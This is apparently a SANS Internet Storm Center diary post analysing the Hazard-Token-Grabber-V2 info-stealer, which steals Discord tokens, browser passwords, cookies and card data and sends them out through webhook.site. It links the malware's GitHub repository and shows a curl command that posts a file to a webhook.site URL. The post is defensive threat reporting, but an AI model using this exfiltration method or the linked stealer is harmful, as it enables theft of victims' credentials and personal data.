Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: Internet Security | DShield SANS ISC InfoSec Forums

Watch ISC TV. Great for NOCs, SOCs and Living Rooms: https://isctv.sans.edu

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Info-Stealer Using webhook.site to Exfiltrate Data

We already reported multiple times that, when you offer an online (cloud) service, there are a lot of chances that it will be abused for malicious purposes. I spotted an info-stealer that exfiltrates data through webhook.site. Today, many Python scripts use Discord as a C2 communication channel. This time, something different and that looks definitively less suspicious.

webhook.site is an online service that helps you to test webhooks. By definition, a webhook[1] is a technique used to modify a page or an application with custom callbacks. They are also often used to automate data manipulations. Webhooks are perfect to receive JSON data through HTTP POST requests.

The malicious tool is Hazard-Token-Grabber-V2, available on GitHub[2] for a few days. Actually, it has a very low VT score: 3/56[3]. The script extracts a lot of information from the infected system:

  • Username
  • ComputerName
  • IP
  • City
  • Region
  • Country
  • Google Maps Location
  • Screenshot of their pc
  • All Their Valid Discord Tokens (bypasses betterdiscord's anti-token-grab-protector)
  • Password For Discord (You get Their Password if They Update it)
  • Their Whole Credit Card (if They Put one in)
  • All Their Chrome Passwords And Cookies

How does work webhook.site? When you visit the page, they will generate a unique webhook for you. Now, you can just watch hit and send HTTP POST requests to it. For example, my webhook was:

https://webhook.site/4accef15-fa3b-4926-a853-2b020accd3a2

I sent this requests:

$ echo “This is a far file” >file.txt
$ curl -X POST --data-binary @file.txt hxxps://webhook[.]site/4accef15-fa3b-4926-a853-2b020accd3a2

Data is instantly received by the webhook that the attacker is probably monitoring:

A very efficient and stealthy way to exfiltrate data!

[1] https://en.wikipedia.org/wiki/Webhook
[2] https://github.com/Rdimo/Hazard-Token-Grabber-V2
[3] https://www.virustotal.com/gui/file/efe6d18849828e14855b0f493652183b39c7553621b78b89a05157705314a7b4/details

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS Secure Japan 2022

Xme

664 Posts
ISC Handler
Dec 1st 2021

Sign Up for Free or Log In to start participating in the conversation!